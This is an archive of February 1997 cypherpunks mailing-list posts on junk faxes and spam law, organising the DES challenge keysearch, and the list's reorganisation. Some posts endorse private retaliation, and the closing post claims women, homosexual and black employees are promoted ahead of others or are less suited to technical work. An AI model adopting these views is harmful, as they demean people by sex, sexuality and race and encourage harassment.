<199702160641.WAA26908@toad.com> Mr. May wrote: > At 11:40 AM -0600 2/15/97, snow wrote: > >Mr. Bell wrote: > >> However, you connect that fax machine to a phone line, when you know full > >> well that should it be enabled to do so, it will automatically pick up the > >> phone when it "hears" a ring, and will print out a fax based on information > >> provided. It isn't clear why sending a fax is any "wronger" than mailing > >> junk mail, or making a (voice) phone call to somebody. > > That is a ridiculous argument. The door to my home is connected > >to the street,m and I know full well that that makes it easy for anyone > >to come wandering in to my home. Is it legal, just because I have my > >home hooked to the street, for someone to come in and help themselves to > >a beer out of my fridge? > > The proper parallel is to _knocking on the door_. Talking about "unwanted > phone calls" or "unwanted faxes" as being equivalent to entering a house > and wandering around is incorrect. With phone calls, yes. With unwanted faxes no. With Phone Calls, and knocks on the door I have the option of simply not answering. Faxes (in certain enviroments) you can't do that with. > Our society fairly reasonably allows tort relief for, say, having one's > doorbell rung frequently or at odd hours. On the fax issue, similar tort > relief could be obtained if a person or business was truly "under attack." > (Purists, like me, would probably prefer technological solutions even in > these cases. Leave a phone on answering machine mode, only switch on the > fax mode when a fax is expected, etc.) Or simply a societal acceptance of retaliation(sp?) Someone who constantly wakes you up in the middle of the night, well you just arrange it so they get no sleep. > These tort actions are a far cry from proposals that anyone whose knock on > the door, or phonecall, or e-mail, or fax is subject to criminal > prosecution under proposed new laws. > (I think the courts are already clogged enough, and I have faith that no > court in the land will accept a case where no real harm was done. A friend > of mine got mailbombed with 25,000 e-mail messages in one day, shutting > down his account until the mess could be cleaned up, and it's not even > likely he'll ever get any relief.) I (I think like you) feel that almost no one will get convicted of these "crimes" unless the attacker simply goes too far. > What CompuServe did was quite different, as CompuServe decided that some > e-mail would not be delivered. This is essentially comparable to the Postal > Service deciding that mail from the National Rifle Association is, to them, > "junk," or to the phone company deciding that phone calls from Libya or > Iraq or some other unfavored nation will be fed to a dead number. Not really. The US Postal service is a regulated monopoly, and is the only game in town. If they weren't a regulated monopoly, I wouldn't care if they refused to carry certain peices of mail, the mailer would have the option of simply using a different service. Thus with compuserve, they have the right (as a private company) to refuse to deliver what ever they wish. And their users have the right to go elsewhere. > Getting the courts and the regulators involved in deciding what speech is > junk and what is not junk is unconstitutional, which was my earlier point. Which I argee with. From mpd at netcom.com Sat Feb 15 22:41:16 1997 From: mpd at netcom.com (Mike Duvos) Date: Sat, 15 Feb 1997 22:41:16 -0800 (PST) Subject: (fwd) DES challenge organisation Message-ID: <199702160641.WAA26922@toad.com> Adam Back writes: > How can this be enforced? The RSADSI DES challenge is open > to all comers, and how do you prove that someone who finds > the key found it through this group effort? > I have a suspicion many people would be tempted to fill in > the RSA challenge form and email it in themselves. $10,000 > is a fair amount of money. Of course they will. If the unsearched portions of the keyspace are published, you can just sit back until the odds go up and then throw some CPU power at it. There is no obligation on the part of the individual who finds the key to not claim the prize personally. The issues of random keyspace assignment to protect against sabotage and centralized monolithic server vs autonomous client have been debated on the "muffin" list, where I have been lurking, but the people in charge seem to like explicit keyspace partitioning and servers a lot. Should be an interesting effort. By the way, does anyone know if des-challenge at muffin.org is alive? I haven't seen any messages from it in over a day and majordomo is not responding to inquiries. -- Mike Duvos $ PGP 2.6 Public Key available $ mpd at netcom.com $ via Finger. $ From dthorn at gte.net Sat Feb 15 22:41:18 1997 From: dthorn at gte.net (Dale Thorn) Date: Sat, 15 Feb 1997 22:41:18 -0800 (PST) Subject: More on digital postage Message-ID: <199702160641.WAA26923@toad.com> jim bell wrote: > At 11:40 AM 2/15/97 -0600, snow wrote: > >Mr. Bell wrote: > But having an address, and a walkway, and a doorbell is generally considered > if not explicit permission, but at least toleration of the idea that > somebody can walk up and knock on the door, etc. Having a telephone with a > number that anyone can dial is going to result in some level of intrusion. > Having a fax machine is a similar issue, unless technology provides a way to > block unwanted faxes. There are some neato methods to deal with the door and the phone, but I haven't investigated faxes since I don't run one at home. For the door, you can have a locked gate so they can't knock on the door, and an adjustable volume ringer or phone at the gate that's easy to ignore when you don't want them to know you're there and you're ignoring them. If the gate is not practical, at least put a locked screen door in front of the regular door, and the ringer or whatever outside the screen. For more aggressive pests, some signs might be necessary. For the phone, you can do like I did, and simply remove (or break) the outgoing message tape, so when they call, all they get is a beep and they'll have to think fast or they're cut off. Cuts way back on pesky calls, but allows your loyals to leave messages or speak so you'll know who it is. From das at razor.engr.sgi.com Sat Feb 15 22:41:54 1997 From: das at razor.engr.sgi.com (Anil Das) Date: Sat, 15 Feb 1997 22:41:54 -0800 (PST) Subject: DES challenge organisation Message-ID: <199702160641.WAA26940@toad.com> On Feb 15, 5:01pm, Timothy C. May wrote: > Subject: Re: (fwd) DES challenge organisation > However, an uncoordinated search is only less efficient by a small factor > of two or three, with a 95% probability that the key will be found with an > effort "only" 3 times greater than with a coordinated search. (The Poisson > probability distribution is what's involved here, and the math is fairly > easy to work out.) > The motivation to crack the DES challenge is more the political one of proving DES (aka 56 bit encryption in the popular press) insecure than the financial one of getting the $10,000 prize. To actually get a good mesaure of the strength of DES using this approach, the number of machines that participated in the attack and the time they spend has to be known. This is a main reason why Germano's team prefers the search to be co-ordinated and why they have been asking people not to start the search before the server is ready. > One of the problems with a coordinated search, if the remaining keyspace to > be doled out is publically announced, is that as the keyspace is searched > and a key _not_ found, the remaining keyspace is increasingly more tempting > for "independent searchers" to search. Sort of the way the odds on some > lotteries actually become "acceptable" as the lottery pot grows. The > organizer of the coordinated search must then, I surmise, keep the > assignments secret and dole out keyspace securely. Knowing the number of people they were able to get to participate in the RC5 attack, this is not a significant problem. They are going to have 5000 clients nibbling away on the not-yet-searched keyspace. Some Johnny-come-lately trying to muscle in on the action towards the end is not going to make a significant dent in their chances of hitting the correcy key first. > Having the prize money go to the finder of the key, as opposed to some > artificial division between EFF, Gutenberg, etc., is also an incentive for > people to contribute more CPU time. Again, they didn't have a problem getting people to join in on the RC5/32/12/6 attack. At least the same number of people can be expected to join in for the DES attack, giving an estimated search time of around eight months, if nobody else builds a hardware DES cracker first. -- Anil Das From dthorn at gte.net Sat Feb 15 22:42:51 1997 From: dthorn at gte.net (Dale Thorn) Date: Sat, 15 Feb 1997 22:42:51 -0800 (PST) Subject: FBI_100 Message-ID: <199702160642.WAA26983@toad.com> John Young wrote: > "Phone Companies Balk At Latest Plan by FBI." Markoff. > Telcos are arguing that the new system will be far more > intrusive and expensive than industry first thought, and > would expand LEA wiretap capabilities 100-fold. "This is > kind of scary. What does the FBI know about our future > that we don't?" > See the FBI's latest wiretap plan at: > http://jya.com/fbi011497.txt You could start by interviewing Freeh's own kids, who conspired (according to the L.A. Times) to have the local police make a call the other night. According to Freeh, "I dealt with my kids in a most un-Constitutional and autocratic manner" (quote approx.). From dthorn at gte.net Sat Feb 15 22:42:54 1997 From: dthorn at gte.net (Dale Thorn) Date: Sat, 15 Feb 1997 22:42:54 -0800 (PST) Subject: The EFF Message-ID: <199702160642.WAA26984@toad.com> Toto wrote: > Timothy C. May wrote: > > At 9:36 AM -0800 2/14/97, Declan McCullagh wrote: > It is my (limited) understanding that the EFF has discovered that > the support that comes with private philanthropy from will o'wisp > Bay Area 'liberals' doesn't carry the terrible burden of having to > compete for the petty contributions of the UnRich. > I have a brother-in-law who gives seminars to the Nouveau Riche in > the Bay Area, teaching them how to give their money away to 'good' > causes. I believe that one of the prime considerations in separating > the 'good' causes from the 'bad' causes has something to do with the > the proper wine being served with the cheese and cracker offerings > during their cocktail parties. Wine and cheese are the key. You hit that one on the head. I tried those Mensa parties in Beverly Hills a few times, but the girls want you to kiss their hands like some kinda princesses or something, whereas I think a simple handshake would suffice. So I just quit going. Maybe this has something to do with why there are no c-punks meetings in the L.A. area. From dthorn at gte.net Sat Feb 15 22:43:56 1997 From: dthorn at gte.net (Dale Thorn) Date: Sat, 15 Feb 1997 22:43:56 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" Message-ID: <199702160643.WAA27051@toad.com> Kent Crispin wrote: > Dale Thorn allegedly said: > > If I understood the last several hundred messages correctly, they have > > tried to make the point that the cypherpunks mailing list (unedited) > > was more ideal than a newsgroup. If this is what Dave is offering, > > I'm surprised if more people don't jump on it. Then again, they > > took their good ol' time jumping onto cypherpunks-unedited. > Dave is offering a single mailing list, which, while I am sure Dave is > a great person, still represents a single point of control and a > single point of failure. A distributed mailing list has a potential > for being much more robust, and for supporting a wide range of > viewpoints. Furthermore a distributed mailing list is an interesting > minor technical problem, and a good solution could have wide > applicability. > So I think that people would like to get the distributed list going... I hope this doesn't duplicate the earlier message - if someone were tracking all this activity and kept the lists informed about what was available where - and particularly if the downloading could be automatic as in the subscription lists - that would be ideal. I wanted to spend some time on alt.cypherpunks, but I haven't got thru the subscription mail for the last few days yet. If there's a scheme that works better than just ad-hoc looking, I'd sure like to know. From jimbell at pacifier.com Sat Feb 15 22:44:12 1997 From: jimbell at pacifier.com (jim bell) Date: Sat, 15 Feb 1997 22:44:12 -0800 (PST) Subject: More on digital postage Message-ID: <199702160644.WAA27059@toad.com> At 08:33 PM 2/15/97 -0600, snow wrote: >Mr. May wrote: >> At 11:40 AM -0600 2/15/97, snow wrote: >> > That is a ridiculous argument. The door to my home is connected >> >to the street,m and I know full well that that makes it easy for anyone >> >to come wandering in to my home. Is it legal, just because I have my >> >home hooked to the street, for someone to come in and help themselves to >> >a beer out of my fridge? >> >> The proper parallel is to _knocking on the door_. Talking about "unwanted >> phone calls" or "unwanted faxes" as being equivalent to entering a house >> and wandering around is incorrect. > > With phone calls, yes. With unwanted faxes no. With Phone Calls, >and knocks on the door I have the option of simply not answering. Faxes >(in certain enviroments) you can't do that with. That's a technlogical problem, and deserves a technological solution. > >> Our society fairly reasonably allows tort relief for, say, having one's >> doorbell rung frequently or at odd hours. On the fax issue, similar tort >> relief could be obtained if a person or business was truly "under attack." >> (Purists, like me, would probably prefer technological solutions even in >> these cases. Leave a phone on answering machine mode, only switch on the >> fax mode when a fax is expected, etc.) > > Or simply a societal acceptance of retaliation(sp?) Someone who >constantly wakes you up in the middle of the night, well you just arrange >it so they get no sleep. Well, I've proposed such a system before... >> These tort actions are a far cry from proposals that anyone whose knock on >> the door, or phonecall, or e-mail, or fax is subject to criminal >> prosecution under proposed new laws. >> (I think the courts are already clogged enough, and I have faith that no >> court in the land will accept a case where no real harm was done. A friend >> of mine got mailbombed with 25,000 e-mail messages in one day, shutting >> down his account until the mess could be cleaned up, and it's not even >> likely he'll ever get any relief.) > > I (I think like you) feel that almost no one will get convicted >of these "crimes" unless the attacker simply goes too far. Which is why my first choice is, uh, and alternative method of "justice." Jim Bell jimbell at pacifier.com From das at razor.engr.sgi.com Sat Feb 15 22:56:01 1997 From: das at razor.engr.sgi.com (Anil Das) Date: Sat, 15 Feb 1997 22:56:01 -0800 (PST) Subject: Where is the reorg FAQ? Message-ID: <199702160656.WAA27532@toad.com> I saw a reference to an FAQ by Adam Back, explaining the mailing lists that are being set up to replace cypherpunks at toad.com, but I didn't see the FAQ itself, on either cypherpunks-unedited or cypherpunks at toad.com, which I read as mail.cypherpunks. Maybe it fell through the cracks. Could Adam or somebody else repost it? Thanks. Btw, one of our many news servers has alt.cypherpunks, but it has very low traffic. I doubt people are not posting. Must be alt.cypherpunks missing from some upstream sites. -- Anil Das From sheldon at sdsu.edu Sat Feb 15 22:56:02 1997 From: sheldon at sdsu.edu (Sheldon Glass) Date: Sat, 15 Feb 1997 22:56:02 -0800 (PST) Subject: cypherpunks@toad.com Message-ID: <199702160656.WAA27533@toad.com> I'm a very long term lurker writing to thank you for hosting the mailing list. It was surprising that the list, if not the community, was as vulnerable to twits like Vulis as it appears. It's a valuable lesson. When cypherpunks rise from these ashes I hope that designers of alternatives will remember the Alamo so to speak. -- sheldon glass | Plauger's Dogma sglass at mail.sdsu.edu | No program may leave its sanity #include | at the mercy of its input. From ichudov at algebra.com Sat Feb 15 22:56:07 1997 From: ichudov at algebra.com (ichudov at algebra.com) Date: Sat, 15 Feb 1997 22:56:07 -0800 (PST) Subject: Where is the reorg FAQ? Message-ID: <199702160656.WAA27544@toad.com> Mike Duvos wrote: > > Anil Das writes: > > > Btw, one of our many news servers has alt.cypherpunks, but it has very > > low traffic. I doubt people are not posting. Must be alt.cypherpunks > > missing from some upstream sites. > > To spam propagation islands, it might be a good idea to crosspost to > alt.privacy when posting to alt.cypherpunks. It will probably take a week > or two before everyone who is going to create the group on their news > server gets around to it. > Better yet, crosspost to misc.misc. - Igor. From loki at infonex.com Sat Feb 15 22:56:24 1997 From: loki at infonex.com (Lance Cottrell) Date: Sat, 15 Feb 1997 22:56:24 -0800 (PST) Subject: Mirrors and replies-to Message-ID: <199702160656.WAA27604@toad.com> At 7:24 AM -0800 2/15/97, Robert Hettinga wrote: >However, I would like it if the mirror operators would reinstantiate a >feature of the original list for me. The reply-to field on the mirrors is >currently set to cypherpunks at toad.com. On the original list, this was set >to "sender", both to keep people from replying to the list unnecessarily >(hah! :-)) but also to keep mail loops from forming. Mail loops could be a >big problem, especially when you guys put together your neo-netnews >mailring. (a little jyaism, that... :-)). After some discussion, the reply-to: cypherpunks at toad.com was a deliberate choice. I wanted to ensure that the list at cyberpass did not become an island. Once the main list expires, the reply-to will be changed to the sender. -Lance ---------------------------------------------------------- Lance Cottrell loki at obscura.com PGP 2.6 key available by finger or server. http://www.obscura.com/~loki/ "Love is a snowmobile racing across the tundra. Suddenly it flips over, pinning you underneath. At night the ice weasels come." --Nietzsche ---------------------------------------------------------- From mpd at netcom.com Sat Feb 15 22:56:26 1997 From: mpd at netcom.com (Mike Duvos) Date: Sat, 15 Feb 1997 22:56:26 -0800 (PST) Subject: (fwd) DES challenge organisation Message-ID: <199702160656.WAA27608@toad.com> Adam Back writes: > How can this be enforced? The RSADSI DES challenge is open > to all comers, and how do you prove that someone who finds > the key found it through this group effort? > I have a suspicion many people would be tempted to fill in > the RSA challenge form and email it in themselves. $10,000 > is a fair amount of money. Of course they will. If the unsearched portions of the keyspace are published, you can just sit back until the odds go up and then throw some CPU power at it. There is no obligation on the part of the individual who finds the key to not claim the prize personally. The issues of random keyspace assignment to protect against sabotage and centralized monolithic server vs autonomous client have been debated on the "muffin" list, where I have been lurking, but the people in charge seem to like explicit keyspace partitioning and servers a lot. Should be an interesting effort. By the way, does anyone know if des-challenge at muffin.org is alive? I haven't seen any messages from it in over a day and majordomo is not responding to inquiries. -- Mike Duvos $ PGP 2.6 Public Key available $ mpd at netcom.com $ via Finger. $ From newton at atdot.dotat.org Sat Feb 15 22:56:28 1997 From: newton at atdot.dotat.org (Mark Newton) Date: Sat, 15 Feb 1997 22:56:28 -0800 (PST) Subject: (fwd) DES challenge organisation Message-ID: <199702160656.WAA27615@toad.com> Timothy C. May wrote: > The organizer of the coordinated search must then, I surmise, keep the > assignments secret and dole out keyspace securely. Perhaps they should DES-encrypt the list of assignments :-) - mark -------------------------------------------------------------------- I tried an internal modem, newton at dotat.org but it hurt when I walked. Mark Newton ----- Voice: +61-4-1155-2401 ------------- Fax: +61-8-83732527 ----- From omegam at cmq.com Sat Feb 15 22:56:32 1997 From: omegam at cmq.com (omegam at cmq.com) Date: Sat, 15 Feb 1997 22:56:32 -0800 (PST) Subject: More on digital postage Message-ID: <199702160656.WAA27618@toad.com> Peter J. Capelli writes: > I pay for my phone service; I assume you pay a flat rate and not by the incoming fax! > I pay for my fax, toner, and > paper. If they use my property without getting permission first, So, if a person uses a computer fax-modem and, therefore, paper, toner, etc. aren't used, does this change the situation? Suddenly we're very close to the situation of junk-email. (Except that the sender of the junk fax incurs long-distance charges, if there are any, not to mention he pays for the phone service the same as you do) > I believe > that *is* ( or should be ) illegal. "There should be a law!" 5 of the ugliest words in the English language when put together. Look. I understand your sentiment and junk faxes piss me off as well, but the cost of government regulation is too high in my opinion. As I'm sure you're aware, government does a *great* job of creating sensible and useful regulations. Unfortunately, fax machines can't distinguish the text of messages, so you can't do filtering or bounce messages, etc. (Although I have been known to send a nasty reply fax or two. And I never fail to call the send of the fax to complain and have the junk faxes terminated) > Your argument that my plugging a fax > machine itno a phone line I know it will answer, even if it is unauthorized, > is tantamount to saying that if I leave my keys in my car, anyone can take > it, and legally so! While it may be foolish to do that, being > foolish is not > a crime You purchased the fax equipment. Why should the government regulate its usage for you? Ideally, the manufacture of fax machines which are able to authenticate a sender in some manner before permitting the actually permitting transmission of the fax out to paper would likely eliminate junk faxes. Of course, this would involve strong encryption. And -- wouldn't you know it! -- that's covered by a range of confusing and threatening federal regulations -- --------------------------------------------------------------------- Omegaman |"When they kick out your front door, PGP Key fingerprint = | How are you gonna come? 6D 31 C3 00 77 8C D1 C2 | With your hands upon your head, 59 0A 01 E3 AF 81 94 63 | Or on the trigger of your gun?" Send email with "get key" as the| -- The Clash, "Guns of Brixton" "Subject:" to get my public key | _London_Calling_ , 1979 --------------------------------------------------------------------- From cynthb at sonetis.com Sat Feb 15 22:56:34 1997 From: cynthb at sonetis.com (Cynthia H. Brown) Date: Sat, 15 Feb 1997 22:56:34 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" Message-ID: <199702160656.WAA27621@toad.com> On Sat, 15 Feb 1997 paul at fatmans.demon.co.uk wrote: > Not my point, I didn`t say I would refuse, as in my example, to have > my car serviced by a woman, rather, that I would not feel comfortable > doing so. This is not prejudice, it is a statistical judgement based > on the fact that, as a percentage, I know few women who are competent > car mechanics but I know a number of men who, by the same criteria, I > would call competent. Acknowledged, agree to disagree :-). (Very few of my male friends can do more than sew on a button, but that doesn't weight my choice of a *professional* tailor.) It did, however, sound like you were agreeing with the previous poster's (more extreme) position. > Very much so, I did not intend, even though my post may have appeared > that way, for one minute to suggest that women were *unable* to carry > out certain tasks, just that they seem less suited to certain > vocations that others. For example, I know a number of good female > History or English students but very few good female mathematics > or computer science students. This is not, I believe, because women are > not "suited" to computer science rather that they have never been encouraged > at high school etc. to learn about such subjects which are seen as male preserves. > I wholeheartedly believe this should not be the case, and my original > post may have been misleading, I just believe that in the current > system very few women do become good at science/technical subjects. Agreed (sadly) that there is a dearth of role models like Mme. Curie or Roberta Bondar. There is also an unfortunate "geek stigma" often attached to those who are good at math or science (male or female). Whether this stigma discourages more girls than boys is questionable (psychology thesis, anyone?), but it has probably resulted in good-math-potential brains taking economics (or whatever) instead. Fewer competitors for the 56-bit prize, but also fewer brains thinking up better PRNGs. Cynthia =============================================================== Cynthia H. Brown, P.Eng. E-mail: cynthb at iosphere.net | PGP Key: See Home Page Home Page: http://www.iosphere.net/~cynthb/ Junk mail will be ignored in the order in which it is received. Klein bottle for rent; enquire within. From attila at primenet.com Sat Feb 15 22:56:48 1997 From: attila at primenet.com (Attila T. Hun) Date: Sat, 15 Feb 1997 22:56:48 -0800 (PST) Subject: Keep it Simple and the Cypherpunk Way Message-ID: <199702160656.WAA27644@toad.com> -----BEGIN PGP SIGNED MESSAGE----- on or about 970215:1003 Dale Thorn said: +Vladimir Z. Nuri said: +> timmy, cpunks, etc. you are getting a lesson in REALITY. you are seeing +> the logical conclusion of your views playing out before you. acrimony, +> bitterness, resignation, chaos, confusion, cacaphony, anarchy. +Perhaps you should turn your talents to writing country songs. and if I play it backwards I get my dawg, my truck, and my gittar back. ___________________________________________________________attila_____ "Explain to me, slowly and carefully, why if person A, when screwed over on a deal by B; is morally obligated to consult, pay, and defer to, person C for the purpose of seeing justice done; and why person C has any legitimate gripe, if A just hauls off and smacks B around like a dead carp." ___________________________________________________________attila_____ "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: latin1 Comment: No safety this side of the grave. Never was; never will be iQCVAwUBMwaj+b04kQrCC2kFAQH0oAQA3pueKSWg2Fqvb6h3psP67rF18N/kwaMP nD6LE7DgzNYVTYwwKjk/eT8/i2kdSEAS8MqkmVc7KwZqsHWl4Ttj23A1GaTHzobL IWwfRAR6BJfcjyvQSzkG/Pq4R7FYvyLoSAqwsYLvlWvC35kiYwwjll9/zprLQbWq RHlrPaY54EU= =I9gB -----END PGP SIGNATURE----- From cynthb at sonetis.com Sat Feb 15 22:58:04 1997 From: cynthb at sonetis.com (Cynthia H. Brown) Date: Sat, 15 Feb 1997 22:58:04 -0800 (PST) Subject: More on digital postage Message-ID: <199702160658.WAA27705@toad.com> On Sat, 15 Feb 1997 Dale Thorn wrote: > jim bell wrote: > > > But having an address, and a walkway, and a doorbell is generally considered > > if not explicit permission, but at least toleration of the idea that > > somebody can walk up and knock on the door, etc. Having a telephone with a > > number that anyone can dial is going to result in some level of intrusion. > > Having a fax machine is a similar issue, unless technology provides a way to > > block unwanted faxes. > > There are some neato methods to deal with the door and the phone, > but I haven't investigated faxes since I don't run one at home. Boring but it works: There are plenty of fax-to-PC programs out there. Anyone can save *lots* of trees by viewing faxes on the screen before printing the useful page(s). Yes, I know, this means human intervention, but so does crumpling up the ***BUY NOW*** garbage, tossing it at the recycle bin, missing, cursing, etc. Here in Canada, the CRTC (Canadian Radio & Telecomms Commission) put out rules limiting the time of day, etc. for phone spam (voice or fax). Does anyone out there have the specifics of the CRTC regs? Cynthia =============================================================== Cynthia H. Brown, P.Eng. E-mail: cynthb at iosphere.net | PGP Key: See Home Page Home Page: http://www.iosphere.net/~cynthb/ Junk mail will be ignored in the order in which it is received. Klein bottle for rent; enquire within. From pgut001 at cs.auckland.ac.nz Sat Feb 15 22:58:04 1997 From: pgut001 at cs.auckland.ac.nz (Peter Gutmann) Date: Sat, 15 Feb 1997 22:58:04 -0800 (PST) Subject: Crypto code published in magazines Message-ID: <199702160658.WAA27706@toad.com> I'm trying to find instances of crypto code published in computer magazines in the last few years. I know of Blowfish in DDJ, are there cases of more mainstream computer mags like Byte publishing crypto code (I know Byte did DES in 1977, I'm hoping for something a bit more recent)?. Please mail or cc replies directly to me, nntp.hks.net seems to have died :-(. Peter. From mpd at netcom.com Sat Feb 15 23:03:03 1997 From: mpd at netcom.com (Mike Duvos) Date: Sat, 15 Feb 1997 23:03:03 -0800 (PST) Subject: Where is the reorg FAQ? Message-ID: <199702160703.XAA27891@toad.com> Anil Das writes: > Btw, one of our many news servers has alt.cypherpunks, but it has very > low traffic. I doubt people are not posting. Must be alt.cypherpunks > missing from some upstream sites. To spam propagation islands, it might be a good idea to crosspost to alt.privacy when posting to alt.cypherpunks. It will probably take a week or two before everyone who is going to create the group on their news server gets around to it. -- Mike Duvos $ PGP 2.6 Public Key available $ mpd at netcom.com $ via Finger. $ From tcmay at got.net Sat Feb 15 23:20:22 1997 From: tcmay at got.net (Timothy C. May) Date: Sat, 15 Feb 1997 23:20:22 -0800 (PST) Subject: More on digital postage In-Reply-To: <199702160610.BAA13975@homer.iosphere.net> Message-ID: At 1:09 AM -0500 2/16/97, Cynthia H. Brown wrote: >Here in Canada, the CRTC (Canadian Radio & Telecomms Commission) put >out rules limiting the time of day, etc. for phone spam (voice or >fax). Does anyone out there have the specifics of the CRTC regs? "Spam" has rapidly become one of those overused, overloaded, meaningless words. Everything bad on the Net these days is labelled "spam." For the phone example in Canada, just what is "spam"? -- Is it the semi-traditional definition of "spam," i.e., a phone call made to thousands of sites? (At the same time? Sequentially? How?) -- Is it a robo-dialer, with no human at the other end? -- Or is it merely an "unwanted phone call"? As I see it, the danger of criminalizing "unwanted phone calls" is obvious. (Though obviously the courts and prisons are not about to be filled up with people who committed the heinous crime of making an unrequested phone call.) The danger of all "junk mail" and "junk phone call" laws is that they give power to the government to decide on what is junk and what is not. Not something we should support. --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From speidel at lightspeed.net Sat Feb 15 23:20:42 1997 From: speidel at lightspeed.net (zac) Date: Sat, 15 Feb 1997 23:20:42 -0800 (PST) Subject: (no subject) Message-ID: <3306B9C0.2B23@lightspeed.net> UNSUBCRIBE CYPHERPUNKS lspeiel at lightspeed.net From emc at wire.insync.net Sat Feb 15 23:51:29 1997 From: emc at wire.insync.net (Eric Cordian) Date: Sat, 15 Feb 1997 23:51:29 -0800 (PST) Subject: More on digital postage In-Reply-To: Message-ID: <199702160754.BAA06052@wire.insync.net> Timothy C. May writes: > "Spam" has rapidly become one of those overused, overloaded, > meaningless words. Everything bad on the Net these days is labelled > "spam." The term "spam" has its origins in the well-known Monty Python Viking sketch, where a diner has breakfast menu offerings such as Spam, spam, spam, spam, eggs, and spam. This sequence of one repeated thing, with an occasional something else, reminds us of how our news spool looks after spam has happened. > For the phone example in Canada, just what is "spam"? > -- Is it the semi-traditional definition of "spam," i.e., a phone call made > to thousands of sites? (At the same time? Sequentially? How?) > -- Is it a robo-dialer, with no human at the other end? Calling one person a thousand times is certainly spam. Calling a thousand different people is probably "Excessive Multiple Calling", or some such acronym. > -- Or is it merely an "unwanted phone call"? This is definitely not spam. > As I see it, the danger of criminalizing "unwanted phone calls" is obvious. > (Though obviously the courts and prisons are not about to be filled up with > people who committed the heinous crime of making an unrequested phone call.) If someone is calling me every day, and I ask them nicely to stop, continued calling should be illegal harrassment. If I've never heard from them before, then a couple unwanted calls aren't a big deal. The same principle should apply if someone decides they have a Constitutional right to bang on my front door at 6 am each and every morning. > The danger of all "junk mail" and "junk phone call" laws is that they give > power to the government to decide on what is junk and what is not. > Not something we should support. I wouldn't mind laws against "repeated unwanted communication." That way I decide what is and is not junk, and the perpetrator is on notice that further waste of my time, fax paper, phone line, or mailbox space will not be viewed benevolently. -- Eric Michael Cordian 0+ O:.T:.O:. Mathematical Munitions Division "Do What Thou Wilt Shall Be The Whole Of The Law" From emc at wire.insync.net Sat Feb 15 23:53:48 1997 From: emc at wire.insync.net (Eric Cordian) Date: Sat, 15 Feb 1997 23:53:48 -0800 (PST) Subject: Spam, Spam, Digital Postage, and Spam Message-ID: <199702160756.BAA06103@wire.insync.net> From jba at fl.net.au Sun Feb 16 03:09:45 1997 From: jba at fl.net.au (Jon Biddell) Date: Sun, 16 Feb 1997 03:09:45 -0800 (PST) Subject: (fwd) DES challenge organisation In-Reply-To: <199702160641.WAA26922@toad.com> Message-ID: <3.0.1.32.19970216220646.006cbc94@fl.net.au> How the hell do I get OFF this list ?? From hjk at ddorf.rhein-ruhr.de Sun Feb 16 03:36:10 1997 From: hjk at ddorf.rhein-ruhr.de (hjk) Date: Sun, 16 Feb 1997 03:36:10 -0800 (PST) Subject: MagicMoney Message-ID: I finally got a copy of MagicMoney (from ftp://utopia.hacktic.nl). It is just the code (compiling without error), but there is no README or documentation at all.Can someone give me a hint,what to do with this package? Is there a documentation somesite? BTW utopia is the site,you can get all the export restricted stuff outside the US. Heinz-Juergen Keller email: hjk at ddorf.rhein-ruhr.de From carolann at censored.org Sun Feb 16 03:39:41 1997 From: carolann at censored.org (Carol Anne Cypherpunk) Date: Sun, 16 Feb 1997 03:39:41 -0800 (PST) Subject: alt.cypherpunks.* groups make primenet.com Message-ID: <3.0.16.19970216054024.2b6f878a@mailhost.primenet.com> -----BEGIN PGP SIGNED MESSAGE----- Primenet.com has picked up the alt.cypherpunk feed. And, there was spam (yum, yum) on it already. Carol Anne Cypherpunk -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: Uncensored from heavily.censored.org iQCVAwUBMwbyForpjEWs1wBlAQEOYQP/bU7uRm5YIMgSkH9QoRLm1UzUCcJ8kxoY okFp6cshYvn5zZf4Kp8z9eWh67ox8yN/Lsp8DzFRkS9xrmobX/5givMut304rN5+ p213AzjaEOhfaat5w4AWUPU1xAIkTnI0jqN4vslKQ0Y77fyrzRgwtCCvsw2VzCfv hPSSApmGuys= =mlts -----END PGP SIGNATURE----- Member Internet Society - Certified BETSI Programmer - Webmistress *********************************************************************** Carol Anne Braddock (cab8) carolann at censored.org 206.42.112.96 My Homepage The Cyberdoc *********************************************************************** From junger at upaya.multiverse.com Sun Feb 16 04:54:45 1997 From: junger at upaya.multiverse.com (Peter D. Junger) Date: Sun, 16 Feb 1997 04:54:45 -0800 (PST) Subject: Crypto code published in magazines In-Reply-To: <199702160658.WAA27706@toad.com> Message-ID: <199702161254.HAA10775@upaya.multiverse.com> Peter Gutmann writes: : I'm trying to find instances of crypto code published in computer magazines i : n : the last few years. I know of Blowfish in DDJ, are there cases of more : mainstream computer mags like Byte publishing crypto code (I know Byte did DE : S : in 1977, I'm hoping for something a bit more recent)?. Please mail or cc : replies directly to me, nntp.hks.net seems to have died :-(. : : Peter. If there are any responses I would be very interested in seeing them too. Thanks, Peter -- Peter D. Junger--Case Western Reserve University Law School--Cleveland, OH EMAIL: junger at samsara.law.cwru.edu URL: http://samsara.law.cwru.edu NOTE: junger at pdj2-ra.f-remote.cwru.edu no longer exists From paul at fatmans.demon.co.uk Sun Feb 16 05:58:03 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Sun, 16 Feb 1997 05:58:03 -0800 (PST) Subject: Message-ID: <856100903.115099.0@fatmans.demon.co.uk> > > PS. His sexist comments are rubbish too. I usually like his crypto posts, > > however, as long as they are technical rather than legal... > > Paul's sexist comments are very interesting - I hope to find more time to > comment on them too. I don't know if they have the same kind of "affirmative > action" in the U.K. that they have in the U.S. - here if you find a woman > in the position of authority, there's a good chance that she was promoted > ahead of more qualified men to meet some quota, and is therefore incompetent. We do not have such laws as far as I`m aware (I try to know as little as possible about law and finance/econimics as I find them intensely boring, even if they are necessary knowledge as a proponent of freedom of action and speech) but in my experience a number of employers promote women ahead of men in order to avoid costly industrial tribunals brought for discrimination. I also believe for the same reasons a lot of known homosexuals, blacks, are promoted ahead of 